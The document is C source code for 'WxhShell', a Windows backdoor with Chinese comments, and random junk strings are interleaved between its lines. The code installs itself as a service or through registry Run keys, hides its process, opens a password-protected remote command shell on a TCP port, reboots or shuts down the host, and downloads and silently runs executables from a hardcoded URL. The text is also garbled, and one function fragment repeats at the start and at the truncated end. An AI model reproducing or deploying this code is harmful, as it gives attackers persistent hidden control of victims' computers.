(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uz:r'+v NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z`Jt6QgW BAG#YZB if (!NtQueryInformationProcess) return 0; nITkgN:s |x=(}g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,#9i=gp if(!hProcess) return 0; +i}uRO MlLM
$Y-@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Ww.W'#P bIzBY+P CloseHandle(hProcess); &'/bnN +R 1uEM;O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M5xMTP- if(hProcess==NULL) return 0; (Zej\lEN F ^lau f HMODULE hMod; {IF$\{Al char procName[255]; QHsJo|. unsigned long cbNeeded; #miG"2ea.. <p?oFD_e4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8|u8J0^ jN(c`Gb CloseHandle(hProcess); T t_QAIl ,>nf/c0. if(strstr(procName,"services")) return 1; // 以服务启动 !<F5W<V .3>q3sS return 0; // 注册表启动 i&<@}:, } ]
p v!Ll ]4'V59\ // 主模块 q4vHsy36 int StartWxhshell(LPSTR lpCmdLine) '$4&q629d { OLGMy5 SOCKET wsl; @Y ?p-& BOOL val=TRUE; 5kHU'D int port=0; VkId6k:>6C struct sockaddr_in door; M"Z/E>ne g>a%
gVly if(wscfg.ws_autoins) Install(); _UbyhBl ACI.{`SrQ= port=atoi(lpCmdLine); ?\<Kb|Q zs'Jgm.v if(port<=0) port=wscfg.ws_port; H1
i+j;RN Y~I0\8s- WSADATA data; cet|k! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d_&~^*> Gsy90 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $ dKo} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gEmsPk, door.sin_family = AF_INET; gRw? <U^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); #wGOlW;R door.sin_port = htons(port); [t*-s1cq @# .a5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { roIc1Ax: closesocket(wsl); a,:Nlr3 return 1; Sg(\+j= } _+Uf5,.5yU {>Qs+] if(listen(wsl,2) == INVALID_SOCKET) { COxJ,v( closesocket(wsl); 6rlM\k@! return 1; b86c[2 } Ng*O/g`%L Wxhshell(wsl); xo(>nFjo WSACleanup(); WpkCFp Hx9lQ8 return 0; @[5] ?8\o /1hcw|cfC } BtQqUk#L2 Lf;Uv[^c // 以NT服务方式启动 |9)y<}c5oM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _1jeaV9@ { K~qKr<) DWORD status = 0; w3Dqpo8E DWORD specificError = 0xfffffff; 0{stIgB$ m'2EiYX$}\ serviceStatus.dwServiceType = SERVICE_WIN32; FX~pjM serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;F/s!bupCM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xoQqku"vn serviceStatus.dwWin32ExitCode = 0; iH-(_$f; serviceStatus.dwServiceSpecificExitCode = 0; BbgKaC q serviceStatus.dwCheckPoint = 0; .]; ` serviceStatus.dwWaitHint = 0; R1/mzPG y p pZ@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =05jjR1 if (hServiceStatusHandle==0) return; Qqp= Nu><r status = GetLastError(); $
\ I|6[P if (status!=NO_ERROR) x`K"1E{2 { nd h\+7 serviceStatus.dwCurrentState = SERVICE_STOPPED; pQ`S%]k.< serviceStatus.dwCheckPoint = 0; 't475?bY serviceStatus.dwWaitHint = 0; :|=Xh"l" serviceStatus.dwWin32ExitCode = status; CSr2\ogT serviceStatus.dwServiceSpecificExitCode = specificError; y*lAmO SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9hhYyqGsO return; py\/m] } wNl "y 8]J lYe serviceStatus.dwCurrentState = SERVICE_RUNNING; GJBMaT serviceStatus.dwCheckPoint = 0; K3`48,`?wA serviceStatus.dwWaitHint = 0; %:Zp7O2UB' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lnl-han% } {HP.HK G+NTn\ // 处理NT服务事件,比如:启动、停止 7K/t>QrBtU VOID WINAPI NTServiceHandler(DWORD fdwControl) (2/i1)Cq { }G<A$*L1 switch(fdwControl) T>v`UN Bl] { i6k~j%0m case SERVICE_CONTROL_STOP: o H]FT{ serviceStatus.dwWin32ExitCode = 0; .j`8E^7< serviceStatus.dwCurrentState = SERVICE_STOPPED; ~0 L:c&V serviceStatus.dwCheckPoint = 0; 02po; serviceStatus.dwWaitHint = 0; 9}11>X { 6/|"y SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0"u=g)3 } -n6T^vf return; `^DP<&{ case SERVICE_CONTROL_PAUSE: !6*4^$i#o serviceStatus.dwCurrentState = SERVICE_PAUSED; q/3co86c break; ?WrL<?r)}U case SERVICE_CONTROL_CONTINUE: inyS 4tb serviceStatus.dwCurrentState = SERVICE_RUNNING; ?MJ5GVeH break; w)Y}hlcq case SERVICE_CONTROL_INTERROGATE: D^w<V%]. break; 2/l4,x }; {G _|gs SetServiceStatus(hServiceStatusHandle, &serviceStatus); vtTXs]> } D 6F/9| ,>I_2mc // 标准应用程序主函数 a0cW=0l= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iBqIV { /gE9 W w1t0X{ // 获取操作系统版本 !)uXCg9U OsIsNt=GetOsVer(); D o!]t7Y$ GetModuleFileName(NULL,ExeFile,MAX_PATH); Q8bn|#` 6hqqZ // 从命令行安装 T!Uf
PfEI if(strpbrk(lpCmdLine,"iI")) Install(); jHc/ EZB oX[I4i%G // 下载执行文件 (9!kKMQW' if(wscfg.ws_downexe) { :$oi P if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s *<T5Z WinExec(wscfg.ws_filenam,SW_HIDE); O9)k)A]`O } *9}~?#b Ky'\t7p u if(!OsIsNt) { 1)!]zV // 如果时win9x,隐藏进程并且设置为注册表启动 GoG_4:^#h HideProc(); $I90KQB\_ StartWxhshell(lpCmdLine); A|P
`\_ } b'4r5@GO else Td![Id if(StartFromService()) 20mZ{_% // 以服务方式启动 jp-]];:aPJ StartServiceCtrlDispatcher(DispatchTable); Ji:0J},m else }/Y)^ // 普通方式启动 8?k.4{? StartWxhshell(lpCmdLine); B4;P)\2 5>M@
F0 return 0; < nyk:E } OY(znVHU K.\- 7R".$ p bl;v^HR0) =========================================== ZQrgYeQl" O}"fhMk 4(\7Or('' ?[
vC?P
w3peG^4D_ 2N_9S?a3sK " ^ px)W,O n 0ls a@l #include <stdio.h> IN94[yW{1 #include <string.h> ~7&O[ #include <windows.h> y1hJVYE2 #include <winsock2.h> .(zZTyZr #include <winsvc.h> 7)au#K6 #include <urlmon.h> Cl3hpqv1I c)=UX_S! #pragma comment (lib, "Ws2_32.lib") [KwwhI@3 #pragma comment (lib, "urlmon.lib") |)u|@\{ fT_swhIO #define MAX_USER 100 // 最大客户端连接数 >.#tNFAs #define BUF_SOCK 200 // sock buffer 'P~6_BW #define KEY_BUFF 255 // 输入 buffer (ZuV5|N eFCXjM #define REBOOT 0 // 重启 -q/FxESp #define SHUTDOWN 1 // 关机 _yVF+\kQ +l_$}UN #define DEF_PORT 5000 // 监听端口 6 0Obek` YiPp#0T[Gx #define REG_LEN 16 // 注册表键长度 J*O$)K%Hx #define SVC_LEN 80 // NT服务名长度 1Du9N[2'P b1qli5 // 从dll定义API jRIm_) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p h=[|P) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;^:$O6J7T~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hk1jxnQh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mt`XHXTp #n}n
% // wxhshell配置信息 H[8P]"*z*i struct WSCFG { o M#S.f? int ws_port; // 监听端口 ^7~w yAr char ws_passstr[REG_LEN]; // 口令 V/7?]?!xu int ws_autoins; // 安装标记, 1=yes 0=no prg8Iq'w char ws_regname[REG_LEN]; // 注册表键名 A)q,VSR8 char ws_svcname[REG_LEN]; // 服务名 4lfJc9J char ws_svcdisp[SVC_LEN]; // 服务显示名 },LW@Z} char ws_svcdesc[SVC_LEN]; // 服务描述信息 K1>(Fs$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vl+,OBy int ws_downexe; // 下载执行标记, 1=yes 0=no cZXra(AD char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !4G<&hvb char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yhd|1,m9f 8RR6f98FF }; ;]^JUmxU[d ^@..\X9 // default Wxhshell configuration +bK.{1 struct WSCFG wscfg={DEF_PORT, lb('=]3
}H "xuhuanlingzhe", i<Be)Y-' 1, T"m(V/L$W "Wxhshell", F I\V6\B/ "Wxhshell", VG`A* Vj
"WxhShell Service", >zDnJb&"& "Wrsky Windows CmdShell Service", tY=n("=2 "Please Input Your Password: ", SbW6O_ 1, ba "http://www.wrsky.com/wxhshell.exe", O(E-ox~q "Wxhshell.exe" sIJ37;ZA }; ;"/ " [0G>=h@u // 消息定义模块 +2ih!$T;7> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
I"=XM
char *msg_ws_prompt="\n\r? for help\n\r#>"; /aB9pD+% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M^^u{);q char *msg_ws_ext="\n\rExit."; cIgicp}U char *msg_ws_end="\n\rQuit."; $wn"+wX char *msg_ws_boot="\n\rReboot..."; 4q<:%
0M| char *msg_ws_poff="\n\rShutdown..."; =JnUTc_u char *msg_ws_down="\n\rSave to "; gZs8BKO (7rG~d1iS char *msg_ws_err="\n\rErr!"; lFY;O !Y5\ char *msg_ws_ok="\n\rOK!"; f V.(v& wFaWLC|& char ExeFile[MAX_PATH]; N7xkkAS{ int nUser = 0; JZQ$*K HANDLE handles[MAX_USER]; ^OQ#N z int OsIsNt; Do|`wpR 8Q1){M9' SERVICE_STATUS serviceStatus; :8aIj_qds SERVICE_STATUS_HANDLE hServiceStatusHandle; K9*#H( .W&rcqy // 函数声明 Bv |Z)G%RR int Install(void); | JL47FR int Uninstall(void); ]eq3cwR[| int DownloadFile(char *sURL, SOCKET wsh); \0pJ+@\T9 int Boot(int flag); WiL~b
=fT void HideProc(void); P
+ nT% int GetOsVer(void); mYk5f_} int Wxhshell(SOCKET wsl); 4>^ %_Xj[ void TalkWithClient(void *cs); 2g^Kf,m int CmdShell(SOCKET sock); 2'J.$ h3 int StartFromService(void); -K/' }I int StartWxhshell(LPSTR lpCmdLine); 6P;1I+5m{q WDiF:@^K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vwzTrWA= VOID WINAPI NTServiceHandler( DWORD fdwControl ); !`='K
+ +-#| M|a // 数据结构和表定义 }h>e=< SERVICE_TABLE_ENTRY DispatchTable[] = w|PZSOJ { xZmKKKd0* {wscfg.ws_svcname, NTServiceMain}, /BVNJNhz {NULL, NULL} [:!#F7O- }; ,9"</\]` <S0!$.Kg*< // 自我安装 fK^FD&sF int Install(void) ki^[~JS>' { N2tvP+Z6D char svExeFile[MAX_PATH]; Y^S0K'N HKEY key; (w% hz'] strcpy(svExeFile,ExeFile); cuquA ~ a(8]y.`Tv // 如果是win9x系统,修改注册表设为自启动 G$4lH>A& if(!OsIsNt) { 'eqvK|Uj: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jt2m-*aP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mcDW&jwQ RegCloseKey(key); :"O=/p+*Us if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #D+Fq^="P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6M$.gX
G. RegCloseKey(key); Qq]UEI `Go return 0; '7'cKp } OG 5n9sx } rf1nC$Sop } ;Xgy2'3 else { g)&-S3\ uD:O[H-x // 如果是NT以上系统,安装为系统服务 r:Cad0xj;^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q:VD2<2 if (schSCManager!=0) ,bmTBZV { a$t [}D2 SC_HANDLE schService = CreateService _I|wp<R ( ?67j+) schSCManager, |_[mb(<| wscfg.ws_svcname, w6Tb<ja wscfg.ws_svcdisp, ieS5*@^k SERVICE_ALL_ACCESS, q}BQu@'H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~w[zX4@ SERVICE_AUTO_START, ^Z:x poz, SERVICE_ERROR_NORMAL, Z{_'V+Q1 svExeFile, Qn%*kU0X NULL, 5I(`
s#O NULL, )_2!1 NULL, 'A8T.BU NULL, Cfz1\a&V{ NULL ;co{bk|rj ); D|-]"(2i if (schService!=0) 1<59)RiO> { rhn*kf{8 CloseServiceHandle(schService); "v*RY "5# CloseServiceHandle(schSCManager); EUna_ 4= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vW)GUAF[ strcat(svExeFile,wscfg.ws_svcname); p6}jCGJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *%)L?* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vlj|[joXw RegCloseKey(key); 4?yc/F=kI return 0; ;- ]f4O8 } ^2^ptQj } q9WSQ$:z8 CloseServiceHandle(schSCManager); 5K6_#g4" } MB "?^~Sm } Va*Uwy?x/) s9[v_(W return 1; At bqj? } 4qm5`o\hb eEc;w# // 自我卸载 5&9(d_#H int Uninstall(void) {8B\-LUR { J$WIF&*0@ HKEY key; =$`DBLX b$Uwj<v if(!OsIsNt) { %W&=]&L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <
m9O0 RegDeleteValue(key,wscfg.ws_regname); IG9Q~7@ RegCloseKey(key); Cq(Xa- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y6D=tb RegDeleteValue(key,wscfg.ws_regname); ryn) RegCloseKey(key); [Z5x_.k"I return 0; +.lO8 } `chf8 } y6PAXvv'{ } o$-8V:)6d else { v\MH;DW^Z )E[5lD61 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n3|~X/I if (schSCManager!=0) ZXUe4@qfl { l
E&hw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s*8hN*A/, if (schService!=0) D 1hKjB& { 'Yd%Tb|* if(DeleteService(schService)!=0) { Q^p@ 1I CloseServiceHandle(schService); +tV(8h4 CloseServiceHandle(schSCManager); f`IgfJN return 0; "rKIXy } !<YRocQY CloseServiceHandle(schService); quKD\hL$ } uRL3v01?H0 CloseServiceHandle(schSCManager); AV2q* } 5r+0^UAO:J } Y?5yzD: VUnEI oKM return 1; e:,.-Kvzp` } x1}q!)e q;>BltU // 从指定url下载文件 d#b{4zF" int DownloadFile(char *sURL, SOCKET wsh) q?^0
o\ { q!H3JL HRESULT hr; D1j7iv char seps[]= "/"; pJv? char *token; O?2<rbx char *file; "FXS;Jf char myURL[MAX_PATH]; 5PPy+36<~ char myFILE[MAX_PATH]; rvmI
8 KOmP-q=6 strcpy(myURL,sURL); ,X$Avdc2 token=strtok(myURL,seps); :>;psR while(token!=NULL) 4vX]c { 9Y 4N file=token; asq/_` token=strtok(NULL,seps); Hwc{%.% ae } 52["+1g\ hL3,/^;E , GetCurrentDirectory(MAX_PATH,myFILE); 5{u6qc4FW strcat(myFILE, "\\"); G4{qWa/ strcat(myFILE, file); 2?r8>#_* send(wsh,myFILE,strlen(myFILE),0); r2](~&i2 send(wsh,"...",3,0); a:|4q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U.)G#B if(hr==S_OK) !}PFi T^ return 0; GY",AL8f else kIfb! return 1; \G= E%aK dI 5sqM: } /-hF<oNQ hZ'oCRM // 系统电源模块 QlS5B.h, int Boot(int flag) x ?V/3zW { nfJ8Rt
HANDLE hToken; k41la? TOKEN_PRIVILEGES tkp; *M|\B|A. z8j(SI;3 if(OsIsNt) { qE`=^
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rqFs[1wr>R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vl5n%m H>^ tkp.PrivilegeCount = 1; O7d Fz)$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J@GfO\
o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YT5>pM-% if(flag==REBOOT) { Me}TW!GC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eTF8B<? return 0; NDOZ!`LqH } Uo @NK else { E?XCL8NC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v2n0[b0 return 0; >Y/[zfI2 } +_gT|vlU } S[a5k;8GL else { O|>1~^w if(flag==REBOOT) { #c^Q<&B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[;=WnG return 0; V{h@nhq } Ke ?uE else { VRX"
@uCD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bS<@Rd{g return 0; Jrk^J6aa } }R1`ThTM } gr
5]5u
rEhf_[Dv return 1; j&/.[?K } 99 !{[gOv 3] qlz?5 // win9x进程隐藏模块 O&,O:b:@ void HideProc(void) xploFw~ { s3M84w z x
ctU.)p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Idlu1g if ( hKernel != NULL ) |sFe:TX { |nEVOy>' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s\W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M?B(<j1Ri FreeLibrary(hKernel); &'7"i~pC } ~+#--BhV ?*'$(}r3 return; uit-Q5@~ } UNQRtR/ 4*vas]
// 获取操作系统版本 be:phS4vz int GetOsVer(void) -L9R&r#_e { 8'lhp2#h OSVERSIONINFO winfo; DLYZsWA, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nr>{ uTa GetVersionEx(&winfo); @LKG\zYBu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _g 4/% return 1; (L5'rNk else eFSC^ return 0; AD@PNM } u7"VeTz Tj=dL // 客户端句柄模块 _GO+fB/Q1 int Wxhshell(SOCKET wsl) u`pROd/ R5 { 8A:^K:Q SOCKET wsh; %%~}Lw struct sockaddr_in client; 4$aO;Z_ DWORD myID; z@~&Kwf\} >C3NtGvy while(nUser<MAX_USER) atf%7}2 { WkaR{{nM int nSize=sizeof(client); }6J7<g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <s8?
Z1 if(wsh==INVALID_SOCKET) return 1; ^QAiySR`0 JblmXqtC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n`)7Y`hBhP if(handles[nUser]==0) .H^P2tp closesocket(wsh); `.'i V[fr else lV<Tsk' nUser++; kV ,G,wo } Lq-33#n/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (.1 rtj Q)S>VDLA return 0; `x UG| } 3%R{"Q" +%wWSZ<# // 关闭 socket lKEX"KQ! void CloseIt(SOCKET wsh) ~pevU`}Uqc { ^5]uBOv closesocket(wsh); gKN}Of@^1 nUser--; L"foL ExitThread(0); C4{\@v}t } ISS\uj63M
s8_aL)@f // 客户端请求句柄 :Sc8PLT void TalkWithClient(void *cs) %)axGbZG; { OB6J.dF[% G*\abL SOCKET wsh=(SOCKET)cs; \ CK(;J char pwd[SVC_LEN]; JA)o@[lF char cmd[KEY_BUFF]; T|@#w%c'' char chr[1]; %5h^`lp int i,j; #+"4&:my 85D^@{ while (nUser < MAX_USER) { q[G/} #%^\\|'z if(wscfg.ws_passstr) { (`6%og#8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vJRnBq+y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W7L+8LU; //ZeroMemory(pwd,KEY_BUFF); 4TUtY: i=0; ~o@\
n while(i<SVC_LEN) { :)p)=c8% JoCA{Fa} // 设置超时 /2e%s:")h fd_set FdRead; dC`tN5 struct timeval TimeOut; _1sMY hI FD_ZERO(&FdRead); L)F1NuR FD_SET(wsh,&FdRead); 'j,oIqx TimeOut.tv_sec=8; +2DE/wE]e+ TimeOut.tv_usec=0; BWUt{,?KU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CE#\Roi x) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cJ(BiL-uF M
XZq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fxDj+Q1p pwd=chr[0]; QqtC`H\ if(chr[0]==0xd || chr[0]==0xa) { Hz?!BV0 pwd=0; >z=Ou<, break; Zx+cvQ } rH_Jh}Y i++; lq>pH5x } YwL`>? pe()f/Jx( // 如果是非法用户,关闭 socket 2{ o0@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ -ISR7D } |2)Sd[q dEASvD' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lC#RNjDp/~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G02ox5X !4R>O6k while(1) { 74K)aA X JY5@I. ZeroMemory(cmd,KEY_BUFF); ^qxdmMp)l A&?}w_|9 // 自动支持客户端 telnet标准 x;]x_fz j=0; &%^K,Q" while(j<KEY_BUFF) { 6eQsoKK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \M5P+Wk' cmd[j]=chr[0]; Lt1U+o[ot if(chr[0]==0xa || chr[0]==0xd) { =<{h^-j;a cmd[j]=0; )Zas
x6` break; vsKl#R B } (I4y[jnD j++; v f`9*x F } P##Z[$IJ3 #?9Q{0e // 下载文件 <uZPqi|| if(strstr(cmd,"http://")) { !@u&{"{` send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sx8l<X if(DownloadFile(cmd,wsh)) &p5&=zV} send(wsh,msg_ws_err,strlen(msg_ws_err),0); {j?7d; 'j else RqXi1<6j# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0p-#f|ET } :BZMnCfA else { 3DW3LYo{ uPkb, :6~Z switch(cmd[0]) { Gn59yG!4 CtM'L // 帮助 w
NH9WG case '?': { gN?0m4[$i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lEHwZ<je break; /xySwSmh3 } 3 > |uF // 安装 -Q$b7*"z( case 'i': { KAed!z9 if(Install()) b3\B8:XFo| send(wsh,msg_ws_err,strlen(msg_ws_err),0); xP{-19s1] else !hCS#' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UfR~%p>K break; %[`a } 3_W{T@T // 卸载 ]>D)# case 'r': { <F7V=Er if(Uninstall()) |3;(~a)% send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vclr2]eV4O else EMlIxpCn: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "jR]MZ break; HzvlF0f } d&jjWlHgEN // 显示 wxhshell 所在路径 BwxnDe G) case 'p': { _A 2Lv]vfV char svExeFile[MAX_PATH]; jWvtv ng strcpy(svExeFile,"\n\r"); B'}"AC" strcat(svExeFile,ExeFile); +8AvTSgX% send(wsh,svExeFile,strlen(svExeFile),0); *Y%Jl
o break; n 'K6vW3 } FLZS K:3B] // 重启 Mra35 case 'b': { Ox qguT, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \dcdw*v@ if(Boot(REBOOT)) kUa)smh send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Fz
xe$A else { }>}1oUCi closesocket(wsh); CISO<z0 ExitThread(0); *N F$1 } 3qi_]*dD break; 8o|P&q(v* } ,Ff n)+ // 关机 gn ?YF` case 'd': { J}TfRrf send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y+U83a[L* if(Boot(SHUTDOWN)) q[d)e6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y-9+a7j else { PKf:O closesocket(wsh); exDkq0u] ExitThread(0); qu~X.pW } zizk7<?L. break; lY'N4x7n } rk|@B{CA; // 获取shell Zx{96G+1 case 's': { nt ,7u( CmdShell(wsh); *1^$.Q& closesocket(wsh); -M4p\6)Ge ExitThread(0); ``|AgIg break; 6/tI8H3E } SfB8!V|; // 退出 m"d/b~q case 'x': { i]o"_=C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s0C:m CloseIt(wsh); kl}Xmw{tJ break; _xrwu;o0} } ,9of(T(~ // 离开 :243 H case 'q': { ~R]35Cp-# send(wsh,msg_ws_end,strlen(msg_ws_end),0); "A3dvr closesocket(wsh); )TJS4? WSACleanup(); 2e1]}wlK exit(1); 27D!'S break; _A+w#kiv> } 4=[7Em?oLb } x /mp=
} L{8;Ud_2r \we\0@v // 提示信息 ?&X6:KJQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0CAa^Q^w } qp p/8M } M \D]ml~ ;inzyFbL= return; p_2pU)% } D WiBG
2oVV'9;B // shell模块句柄 DN8}glVxV int CmdShell(SOCKET sock) ~i0R^qfr { / T
c= STARTUPINFO si; |/`%3'4H ZeroMemory(&si,sizeof(si)); ,EpH4*e si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A??@AP[7M si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }#`:Qb \U PROCESS_INFORMATION ProcessInfo; @f1*eo5f char cmdline[]="cmd"; V[;M&=," CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y\c"b-lQX return 0; ,Zf
9RM }
..W-76{ s9)8b$t] // 自身启动模式 LM)`CELsYc int StartFromService(void) f{&bOF v { ?KE$r~dn typedef struct ) R2XU { OJO!FH) DWORD ExitStatus; SOf{Hx0C6 DWORD PebBaseAddress; GK*v{` DWORD AffinityMask; ZcE_f>KV DWORD BasePriority; Vb|#MNf) ULONG UniqueProcessId; ZC0-wr\ ULONG InheritedFromUniqueProcessId; g"_C,XN } PROCESS_BASIC_INFORMATION; <skajQQ HMGB> PROCNTQSIP NtQueryInformationProcess; ,IHb+ K 3=0E!e static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K^l:MxO-X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ms^dRe) mpw~hW0- HANDLE hProcess; ZWUP^V PROCESS_BASIC_INFORMATION pbi; 3gZ8.8q3 3_$w|ET HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jXg if(NULL == hInst ) return 0; IE2"rQ T !CTxVLl"F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J([s5:.[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z|lU8`'5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U7@AC}.+ v Gy8Qu> if (!NtQueryInformationProcess) return 0; L1{GL #qV 5z}w}zdg hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 23F/\2MSG if(!hProcess) return 0; u.XQ& `:NaEF?Sj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d3Mva,bw< G3i !PwW CloseHandle(hProcess); =+:{P?*} :mppv8bh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Z-f1.Dm5 if(hProcess==NULL) return 0; 7,
}
